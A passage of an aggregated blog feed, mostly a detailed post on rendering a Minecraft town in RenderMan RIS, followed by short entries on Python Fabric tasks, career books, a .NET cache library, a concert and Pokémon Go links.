but this project was particularly fun and produced some nice looking images, so I thought I’d write it up. As usual, before we dive into the post, here is the final image I made, rendered using Pixar’s Photorealistic Renderman 20 in RIS mode:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/aerial_shot_final_comp.jpg"&gt;&lt;img alt="A Minecraft town from the pve.nerd.nu Minecraft server, rendered in Renderman 20/RIS." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/aerial_shot_final_comp.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;About two years ago, Pixar’s Photorealistic Renderman got a new rendering mode called RIS. PRman was one of the first production renderers ever developed, and historically PRman has always been a &lt;a href="http://graphics.pixar.com/library/Reyes/"&gt;REYES-style rasterization&lt;/a&gt; renderer. Over time though, PRman has gained a whole bunch of added on features. At the time of &lt;em&gt;Monsters University&lt;/em&gt;, PRman was actually a kind of hybrid rasterizer and raytracer; the rendering system on &lt;em&gt;Monsters University&lt;/em&gt; used raytracing to build a &lt;a href="http://graphics.pixar.com/library/RadiosityCaching/"&gt;multiresolution radiosity cache&lt;/a&gt; that was then used for calculating GI contributions in the shading part of REYES rasterization. That approach worked well and produced beautiful images, but it was also really complicated and had a number of drawbacks! RIS replaces all of that with a brand new, pure pathtracing system. In fact, while RIS is marketed as a new mode in PRman, RIS is actually a completely new renderer written almost completely from scratch; it just happens to be able to read Renderman RIB files as input.&lt;/p&gt;

&lt;p&gt;Recently, I wanted to try rendering a Minecraft world from a Minecraft server that I play on. There are a lot of great Minecraft rendering tools available these days (&lt;a href="http://chunky.llbit.se/gallery.html"&gt;Chunky&lt;/a&gt; comes to mind), but I wanted much more production-like control over the look of the render, so I decided to do everything using a normal CG production workflow instead of a prebuilt dedicated Minecraft rendering tool. I thought that I would use the project as a chance to give RIS a spin. At Cornell’s Program of Computer Graphics, Pixar was kind enough to provide us with access to the Renderman 19 beta program, which included the first version of RIS. I tinkered with the PRman 19 beta quite a lot at Cornell, and being an early beta, RIS had some bugs and incomplete bits back then. Since then though, the Renderman team has followed up PRman 19 with versions 20 and 21, which introduced a number of new features and speed/stability improvements to RIS. Since joining the Hyperion team, I’ve had the chance to meet and talk to various (really smart!) folks on the Renderman team since they are a sister team to us, but I haven’t actually had time to try the new versions of RIS. This project was a fun way to try the newest version of RIS on my own!&lt;/p&gt;

&lt;p&gt;The Minecraft data for this project comes from the &lt;a href="http://nerd.nu"&gt;Nerd.nu community Minecraft server&lt;/a&gt;, which is run by a collective of players for free. I’ve been playing on the Nerd.nu PvE (Player versus Environment) server for years and years now, and players have built a mind-boggling number of amazing detailed creations. Every couple of months, the server is reset with a fresh map; I wanted to render a town that fellow player Avi_Dangerstein and I built on the previous map revision. Fortunately, all previous Nerd.nu map revisions are available for download in the &lt;a href="http://mcp-dl.com/"&gt;server archives&lt;/a&gt; (the specific map I used is labeled pve-rev17). Here is an overview of the map revision I wanted to pull data from:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://redditpublic.com/carto/pve/p17/carto/#/-24/64/176/-6/0/0"&gt;&lt;img alt="Cartograph view of Revision 17 of the Nerd.nu PvE server, located at p.nerd.nu. Click through to go to the full, zoomable cartograph." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/cartograph.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;…and here is a zoomed in view of the part of the map that contains our town. The vast majority of the town was built by two players over the course of about 4 months. Our town is about 250 blocks long; the entire server map is a 6000 block by 6000 block square.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/cartograph_zoomed.png"&gt;&lt;img alt="Zoomed cartograph view of our Minecraft town." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/cartograph_zoomed.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first problem to tackle in this project was just getting Minecraft world data into a usable format. Pixar provides a free, non-commercial version of Renderman for Maya, and I’m very familiar with Maya, so my entire workflow for this project was based around good ol’ Maya. Maya doesn’t know how to read Minecraft data though… in fact, Minecraft’s &lt;a href="http://minecraft.gamepedia.com/Chunk_format"&gt;chunked data format&lt;/a&gt; is a fascinating rabbit hole to read about in its own right. I briefly entertained the idea of writing my own Minecraft to Maya importer, but then I found a number of Minecraft to Obj exporters that other folks have already written. I first tried &lt;a href="https://github.com/jmc2obj/j-mc-2-obj"&gt;jmc2obj&lt;/a&gt;, but the section of the Minecraft world that I wanted to export was so large that jmc2obj kept running out of memory and crashing. Instead, I found that &lt;a href="http://erich.realtimerendering.com"&gt;Eric Haines&lt;/a&gt;’s &lt;a href="http://www.realtimerendering.com/erich/minecraft/public/mineways/"&gt;Mineways&lt;/a&gt; exporter was able to handle the data load well (incidentally, Eric Haines is also a Cornell Program of Computer Graphics alum; I inherited a pile of his ACM Transactions on Graphics hardcopies while at Cornell). The chunk of the world I wanted to export was pretty large; in the Mineways screenshot below, the area outlined in red is the part of the world that I wanted:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/mineways_section.png"&gt;&lt;img alt="Section of the map for export is outlined in red." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/mineways_section.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The area outlined above is significantly larger than the area I wound up rendering… initially I was thinking of a very different camera angle from the ground with the mountains in the background before I picked an aerial view much later. The size of the exported obj mesh was about 1.5 GB. Mineways exports the world as a single mesh, optimized to remove all completely occluded internal faces (so the final mesh is hollow instead of containing useless faces for all of the internal blocks). Each visible block face is uv’d into a corresponding square on a single texture file. This approach produces an efficient mesh, but I realized early on that I would need water in a separate mesh containing completely enclosed volumes for each body of water (Mineways only provides geometry for the top surface of water). Glass had to be handled similarly; both water and glass need special handling for the same reasons that I mentioned immediately after the first diagram in my &lt;a href="http://blog.yiningkarlli.com/2015/06/attenuated-transmission.html"&gt;attenuated transmission blog post&lt;/a&gt;. Mineways allows for exporting different block types as separate meshes (but still with internal faces removed), so I simply deleted the water and glass meshes after exporting. Luckily, jmc2obj allows exporting individual block types as closed meshes, so I went back to jmc2obj for just the water and glass. Since just the water and glass is a much smaller data set than the whole world, jmc2obj was able to export without a problem. Since rendering refractive interfaces correctly requires expanding out the refractive mesh slightly at the interfaces, I wrote a custom program based on Takua Renderer’s obj mesh processing library to push out all of the vertices of the water and glass meshes slightly along the average of the face normals at each vertex.&lt;/p&gt;

&lt;p&gt;Next up was shading everything in Maya. Renderman 20 ships with an implementation of &lt;a href="https://disney-animation.s3.amazonaws.com/library/s2012_pbs_disney_brdf_notes_v2.pdf"&gt;Disney’s Principled Brdf&lt;/a&gt;, which I’ve gotten very familiar with using, so I went with Renderman’s PxrDisney Bxdf. The Disney Brdf allows for quickly creating very good looking materials using a fairly small parameter set. Overall I tried to stick close to the in-game aesthetic, which meant using all of the standard in-game textures instead of a custom resource pack, and I also wound up having to reign back a bit on making materials look super realistic. Everything basically has some varied roughness and specularity, and that’s pretty much it. I did add a subtle bump map to everything though; I made the bump map by simply making a black and white version of the default texture pack and messing with the brightness and contrast a bit. Below is a render of a &lt;a href="http://www.minecraftforum.net/forums/mapping-and-modding/resource-packs/1243823-qmagnets-test-map-for-resource-packs-and-map"&gt;test world&lt;/a&gt; created by Minecraft Forum user QMagnet specifically for testing resource packs. I lit the test scene using a single IBL (&lt;a href="http://hdri-skies.com/shop/hdri-sky-141/"&gt;HDRI Sky 141 from the HDRI-Skies library&lt;/a&gt;). The test render below isn’t using the final specialized water and leaf shaders I created, which I’ll describe a bit further down, and there are also some resolution problems on the alpha masks for the leaf blocks, but overall this test render gives an idea of what my final materials look like:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/materialtest.png"&gt;&lt;img alt="Final materials on a resource pack test world." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/materialtest.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One detail worth going into a bit more detail about are the glowing blocks. The glowstone, lantern, and various torch blocks use a trick based on something that I have seen lighters use in production. The basic idea is to decouple the direct and indirect visibility for the light. I got this decoupling to work in RIS by making all of the glowing blocks into pairs of textured PxrMeshLights. Using PxrMeshLights is necessary in order to allow for efficient light sampling; however, the actual exposures the lights are at make the textures blow out in camera. In order to make the textures discernible in camera, a second PxrMeshLights is needed for each glowing object; one of the lights is at the correct exposure but is marked visible to only indirect rays and invisible to direct camera rays, and the other light is at a much lower exposure but is also only visible to direct camera rays. This trick is a totally non-physical cheaty-hack, but it allows for a believable visual appearance if the exposures are chosen carefully.&lt;/p&gt;

&lt;p&gt;In the final renders a few pictures down, I also used a more specialized shader for leaves and vines and tall grass and whatnot. The leaf block shader uses a PxrLMPlastic material instead of PxrDisney; this is because the leaf block shader has a slight amount of diffuse transmission (translucency) and also has more specialized diffuse/specular roughness maps.&lt;/p&gt;

&lt;p&gt;For the water shader in the final render, I used a PxrLMGlass material with an IOR of 1.325, a slightly blue tinted refraction color, and a light blue absorption color. Using slightly different colors for the refraction and absorption colors allows for the water to transition to a slightly different hue at deeper depths than at the surface (as opposed to just a more saturated version of the same color). I also added a simple water surface displacement map to get the wavy surface effect. Combined with the refractive interface stuff mentioned before, the final water looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/watertest.png"&gt;&lt;img alt="Water test render, using a PxrLMGlass material. Unfortunately, no true caustics here..." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/watertest.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note the total lack of real caustics in the water… I wound up just using the basic pathtracer built into RIS instead of Pixar’s VCM implementation. Pixar’s VCM implementation is one of the first commercial VCM implementations out there, but as of Renderman 20, it has no adaptivity in its light path distribution whatsoever. As a result, the Renderman 20 VCM integrator is not really suitable for use on huge scenes; most of the light paths end up getting wasted on areas of the scene that aren’t even close to being in-camera, which means that all of the efficiency in rendering caustics is lost. This problem is fundamental to lighttracing-based techniques (meaning that bidirectional techniques inherit the same problem), and solving it remains a relatively open problem (Takua has some basic photon targeting mechanisms for PPM/VCM that I’ll write about at some point). Apparently, this large-scene problem was a major challenge on &lt;em&gt;Finding Dory&lt;/em&gt; and is one of the main reasons why Pixar didn’t use VCM heavily on &lt;em&gt;Dory&lt;/em&gt;; &lt;em&gt;Dory&lt;/em&gt; relied mostly on projected and pre-baked caustics.&lt;/p&gt;

&lt;p&gt;I should also note that Renderman 21 does away with the PxrLM and PxrDisney materials entirely and instead introduces the shader set that Christophe Hery and Ryusuke Villemin wrote for &lt;em&gt;Finding Dory&lt;/em&gt;. I haven’t tried the Renderman 21 shading system yet, but I would be very curious to compare against our Disney Brdf.&lt;/p&gt;

&lt;p&gt;The final lighting setup I used was very simple. There are two main lights in the scene: an IBL dome light for sky illumination, and a 0.5 degree distant light as a sun stand-in. The IBL is another free sky from the HDRI-Skies library; this time, I used &lt;a href="http://hdri-skies.com/shop/hdri-sky-084/"&gt;HDRI Sky 84&lt;/a&gt;. There is also a third spotlight used for getting long, dramatic shadows out of the fog, which I’ll talk about a bit later. Here is a lighting test with just the dome and distant lights on a grey clay version of the scene:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/clay_lighting.png"&gt;&lt;img alt="Grey clay render lit using the final distant and dome light setup." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/clay_lighting.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For efficiency reasons, I broke out the fog into a separate pass entirely and added it back in comp afterwards. At the time that I did this project, Renderman 20’s volume system was still relatively new (Renderman 21 introduces a significantly overhauled, much faster volume system, but Renderman 21 wasn’t out yet when I did this project), and while perfectly capable, wasn’t necessarily super fast. Iterating on the look of the fog separately from the main render was simply a more efficient workflow. Here is the raw render directly out of RIS:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/aerial_shot_main_pass.png"&gt;&lt;img alt="Raw render of the main render pass, straight out of RIS." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/aerial_shot_main_pass.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For the fog, I initially wanted to do fully simulated fog in Houdini. I experimented with using a point SOP to control wind direction and to drive a wind DOP and have fog flow through the scene, but the sheer scale of the scene made this approach impracticable on my home computers. Instead, I wound up just creating a static procedural volume noise field and dumping it out to VDB. I then brought the VDB back into Maya for RIS rendering. Initially I tried rendering the fog pass without the additional spotlight and got something that looked like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/aerial_shot_fog_pass_old.png"&gt;&lt;img alt="My initial attempt at the fog pass." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/aerial_shot_fog_pass_old.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After getting this first fog attempt rendered, I did a first pass at a final comp and color grade. I wound up using a very different color grade on this earlier attempt. This earlier version is the version that I shared in some places, such as the &lt;a href="http://www.reddit.com/r/mcpublic"&gt;Nerd.nu subreddit&lt;/a&gt; and on Twitter:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/aerial_shot_final_comp_oldversion.jpg"&gt;&lt;img alt="First comp and grade attempt, using old version of fog." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/aerial_shot_final_comp_oldversion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This first attempt looked okay, but didn’t quite hit what I was going for. I wanted something with much more dramatic shadow beams, and I also felt that the fog didn’t really look settled into the terrain. Eventually I realized that I needed to make the fog sparser and that the fog should start thinning out after rising just a bit off of the ground. After adjusting the fog and adding in a spotlight with a bit of a cooler temperature than the sun, I got the image below. I’m pretty happy with how the fog looks like it is settling in the river valley and is pouring out of the forested hill in the upper left of the image, even though none of the fog is actually simulated!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/aerial_shot_fog_pass_final.png"&gt;&lt;img alt="Final fog pass, with extra spotlight. Note how the fog seems to sit in the lower river valley and pour out of the forest." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/aerial_shot_fog_pass_final.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, I brought everything together in comp and added a color grading pass in Lightroom. The grade that I went with is much much more heavy-handed than what I usually like to use, but it felt appropriate for this image. I also added a slight amount of vignetting and grain in the final image. The final image is at the top of this post, but here it is again for convenience:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/aerial_shot_final_comp.jpg"&gt;&lt;img alt="Final composite with fog, color grading, and vignetting/grain." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/aerial_shot_final_comp.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I learned a lot about using RIS from this project! By my estimation, RIS is orders of magnitude easier to use than old REYES Renderman; the overall experience was fairly similar to my previous experiences with Vray and Arnold. Both Takua and Hyperion make some similar choices and some very different choices in comparison, but then again, every renderer has large similarities and large differences from every other renderer out there. Rendering a Minecraft world was a lot of fun; I definitely am looking forward to doing more Minecraft renders using this pipeline again sometime in the future.&lt;/p&gt;

&lt;p&gt;Also, here’s a shameless plug for the &lt;a href="http://nerd.nu"&gt;Nerd.nu&lt;/a&gt; Minecraft server that this data set is from. If you like playing Minecraft and are looking for a fast, free, friendly community to build with, you should definitely come check out the Nerd.nu PvE server, located at p.nerd.nu. The little town in this post is not even close to the most amazing thing that people have built on that server.&lt;/p&gt;

&lt;p&gt;A final note on the (lack of) activity on my blog recently: we’ve been extremely busy at Walt Disney Animation Studios for the past year trying to release both &lt;em&gt;Zootopia&lt;/em&gt; and &lt;em&gt;Moana&lt;/em&gt; in the same year. Now that we’re closing in on the release of &lt;em&gt;Moana&lt;/em&gt;, hopefully I’ll find time to post more. I have a lot of cool posts about Takua Renderer in various states of drafting; look for them soon!&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id="addendum-2016-10-02"&gt;Addendum 2016-10-02&lt;/h2&gt;

&lt;p&gt;After I published this post, Eric Haines wrote to me with a few typo corrections and, more importantly, to tell me about a way to get completely enclosed meshes from Mineways using the &lt;a href="http://www.realtimerendering.com/erich/minecraft/public/mineways/mineways.html#schemes"&gt;color schemes feature&lt;/a&gt;. Serves me right for not reading the documentation completely before starting! The color schemes feature allows assigning a color and alpha value to each block type; the key part of this feature for my use case is that Mineways will delete blocks with a zero alpha value when exporting. Setting all blocks except for water to have an alpha of zero allows for exporting water as a complete enclosed mesh; the same trick applies for glass or really any other block type.&lt;/p&gt;

&lt;p&gt;One of the neat things about this feature is that the Mineways UI draws the map respecting assigned alpha values from the color scheme being used. As a result, setting everything except for water to have a zero alpha produces a cool view that shows only all of the water on the map:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Jul/mineways_water_only.png"&gt;&lt;img alt="Mineways map view showing only water blocks. This image shows the same exact area of the map as the other Mineways screenshot earlier in the post." src="https://blog.yiningkarlli.com/content/images/2016/Jul/preview/mineways_water_only.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Going forward, I’ll definitely be adopting this technique to get water meshes instead of using jmc2obj. Being able to handle all of the mesh exporting work in a single program makes for a nicer, more streamlined pipeline. Of course both jmc2obj and Mineways are excellent pieces of software, but in my testing Mineways handles large map sections much better, and I also think that Mineways produces better water meshes compared to jmc2obj. As a result, my pipeline is now entirely centered around Mineways.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Fri, 22 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2016/07/minecraft-in-renderman-ris.html</guid></item><item><title>How to Hide Methods From Fabric Task Listing</title><link>https://boyter.org/2016/07/hide-methods-fabric-task-listing/</link><description>&lt;p&gt;Occasionally you may want to hide a method from appearing inside the fabric listing of available tasks. Usually its some sort of helper method you have created that is shared by multiple tasks. So how to hide it? Simply prefix with _&lt;/p&gt;
&lt;p&gt;For example,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;_apt_get&lt;/span&gt;(packages):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'''Makes installing packages easier'''&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    sudo(&lt;span style="color: #e6db74;"&gt;'apt-get update'&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    sudo(&lt;span style="color: #e6db74;"&gt;'apt-get -y --force-yes install &lt;/span&gt;&lt;span style="color: #e6db74;"&gt;%s&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'&lt;/span&gt; &lt;span style="color: #f92672;"&gt;%&lt;/span&gt; packages)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When listing the fabric tasks this method will no longer appear in the results.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 22 Jul 2016 01:34:49 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/07/hide-methods-fabric-task-listing/</guid></item><item><title>Resources for People with Jobs</title><link>https://josh.works/jobs/2016/07/21/be-better-at-your-job/</link><description>&lt;h1 id="resources-for-people-with-jobs"&gt;RESOURCES FOR PEOPLE WITH JOBS&lt;/h1&gt;

&lt;p&gt;You spend most of your waking hours at work. So, spend a few of those waking hours when you’re 
not at work thinking about how to improve the hours that you 
are working. Often, improving your work means you can improve your work conditions and compensation.&lt;/p&gt;

&lt;p&gt;Many people in their 20s feel stagnant in their job(s). Don’t let that be you.&lt;/p&gt;

&lt;p&gt;Here’s a list of useful resources. I’ll update this occasionally.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Why this list of books, Josh? Why not just write “the best career advice ever! #7 will amazing you!” and call it a day?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because
I don’t know things. I’ve stumbled into some things that seem to work, and along the way encountered many things that seem not to work. &lt;/p&gt;

&lt;p&gt;I’m not able to evaluate my own experience and detangle my decisions from happenstance. So I choose to not play the game of offering advice, and instead point you to people who DO have useful things to say.&lt;/p&gt;

&lt;p&gt;I promise, your time is well spent with these authors:&lt;/p&gt;

&lt;h3 id="books"&gt;BOOKS&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Good-They-Cant-Ignore-You-ebook/dp/B0076DDBJ6/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1469136533&amp;amp;sr=1-1&amp;amp;keywords=so+good+they+can%27t+ignore+you#nav-subnav"&gt;So Good They Can’t Ignore You: Why Skills Trump Passion in the Quest for Work You Love&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Everybody-Writes-Go--Creating-Ridiculously-ebook/dp/B00LMB5P0G/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1469136516&amp;amp;sr=1-1&amp;amp;keywords=everyone+writes"&gt;Everybody Writes: Your Go-To Guide to Creating Ridiculously Good Content&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Difficult-Conversations-Discuss-What-Matters/dp/0143118447/ref=sr_1_1?ie=UTF8&amp;amp;qid=1469136215&amp;amp;sr=8-1&amp;amp;keywords=difficult+conversations"&gt;Difficult Conversations: How to Discuss What Matters Most&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Smart-Like-How-Hidden-Success-ebook/dp/B0181C4N56/ref=sr_1_1?ie=UTF8&amp;amp;qid=1469136425&amp;amp;sr=8-1&amp;amp;keywords=smart+like+how"&gt;Smart Like How: The Hidden Side of Career Success&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Mastery-Robert-Greene/dp/014312417X/ref=sr_1_1?ie=UTF8&amp;amp;qid=1469136455&amp;amp;sr=8-1&amp;amp;keywords=mastery+robert+greene"&gt;Mastery by Robert Greene&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Fearless-Salary-Negotiation-step---step-ebook/dp/B018T8VH3I/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1469136488&amp;amp;sr=1-1&amp;amp;keywords=salary+negotiation#nav-subnav"&gt;Fearless Salary Negotiation: A step-by-step guide to getting paid what you’re worth&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://www.amazon.com/Slight-Edge-Turning-Disciplines-Happiness-ebook/dp/B00GDKN3T6/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1469136559&amp;amp;sr=1-1&amp;amp;keywords=the+slight+edge#nav-subnav"&gt;The Slight Edge: Turning Simple Disciplines into Massive Success and Happiness&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="blogs"&gt;BLOGS&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.smartlikehow.com/"&gt;Smart Like How&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://calnewport.com/blog/"&gt;Study Hacks Blog: Decoding Patterns of Success&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.iwillteachyoutoberich.com/"&gt;Ramit Sethi: I Will Teach&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Thu, 21 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/jobs/2016/07/21/be-better-at-your-job/</guid></item><item><title>Python Fabric How to Show or List All Available Tasks</title><link>https://boyter.org/2016/07/python-fabric-show-list-tasks/</link><description>&lt;p&gt;Showing or displaying the available tasks inside a fabric fabfile is one of those things that almost everyone wants to do at some point and usually works out you can just request a task you know will not exist (usually found through a typo). However there is a way to list them built into fabric itself.&lt;/p&gt;
&lt;p&gt;The below are all methods which can be used to display the currently defined tasks.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 21 Jul 2016 01:30:51 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/07/python-fabric-show-list-tasks/</guid></item><item><title>Introducing SimpleObjectCache a simple cross-platform object cache for .NET systems</title><link>https://nicolaiarocci.com/introducing-simpleobjectcache-a-simple-cross-platform-object-cache-for-net-systems/</link><description>&lt;p&gt;&lt;a href="https://github.com/nicolaiarocci/SimpleObjectCache"&gt;SimpleObjectCache&lt;/a&gt; is a very simple permanent, cross-platform, asynchronous key-value object cache for .NET. It comes with built-in &lt;a href="https://www.sqlite.org"&gt;SQLite 3&lt;/a&gt; support. Alternative backends can be added by implementing the &lt;code&gt;IObjectCache&lt;/code&gt; or &lt;code&gt;IBulkObjectCache&lt;/code&gt; interfaces.&lt;/p&gt;
&lt;h2 id="how-it-works"&gt;How it works&lt;/h2&gt;
&lt;p&gt;First, you need to set the &lt;code&gt;ApplicatioName&lt;/code&gt;. This is also going to be the folder where your cache will reside. Depending on the host OS the location of this folder might be different. On Windows it would be something like &lt;code&gt;C:\ProgramData\&amp;lt;ApplicationName&amp;gt;\SimpleObjectCache&lt;/code&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 20 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/introducing-simpleobjectcache-a-simple-cross-platform-object-cache-for-net-systems/</guid></item><item><title>Set Ubuntu Linux Swapfile Using Python Fabric</title><link>https://boyter.org/2016/07/set-ubuntu-linux-swapfile-python-fabric/</link><description>&lt;p&gt;Annoyingly most cloud providers have an irritating habit of not adding any swap memory to any instance you spin up. Probably because if they added swap to the instance the disk size would appear to be smaller then it is or if they had a dedicated swap partition they would have to bear the cost or again use some of your disk space.&lt;/p&gt;
&lt;p&gt;Thankfully adding swap to your Ubuntu linux instance is fairly easy. The following task when run will check if a swapfile already exists on the host and if not create one, mount it and set it to be remounted when the instance is rebooted. It takes in a parameter which specifies the size of the swap in gigabytes.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 20 Jul 2016 01:53:52 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/07/set-ubuntu-linux-swapfile-python-fabric/</guid></item><item><title>Neubauten</title><link>https://rybakov.com/blog/neubauten/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_RYB7407.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Когда мне еще не было и двадцати, я постоянно искал музыку, новую, незнакомую музыку - не существующую в реальном мире.
Друзья мои ходили на концерты и ездили на фестивали, а мне это было не интересно, слишком приземленно и обыденно. Я сидел в интернете на audioscrobbler.com, и слушал Coil, Amon Tobin, какого-то чувака с брагофоном, Karlheinz нашевсё Stockhausen, Venetian Snares и конечно Einstürzende Neubauten.&lt;/p&gt;
&lt;p&gt;А тут, на окончание семестра, эти самые падующие новостройки сыграли в универе. Новый ректор пригласил по старой дружбе.&lt;/p&gt;
&lt;p&gt;Вот этот парень с большим носом, весело лупящий топориком по кирпичам - FM Einheit. Ему пятьдесят семь.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 19 Jul 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/neubauten/</guid></item><item><title>Pokémon Go bookmarks</title><link>https://xenodium.com/pokemon-go-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/pokemon/comments/4ruand/pok%25C3%25A9mon_go_lengthy_introduction_guide"&gt;Pokémon GO Lengthy Introduction Guide (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rankedboost.com/pokemon-go/catching-locations/"&gt;Pokémon locations&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/pokemongo/comments/4rlnmc/some_tips_from_my_last_days_playing"&gt;Some tips from my last days playing (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/pokemongo/comments/4srsiu/yet_another_tips_and_tricks_from_a_level_20"&gt;Yet another &amp;quot;Tips and Tricks&amp;quot; from a level 20+ (Reddit)&lt;/a&gt;.&lt;/li&gt;
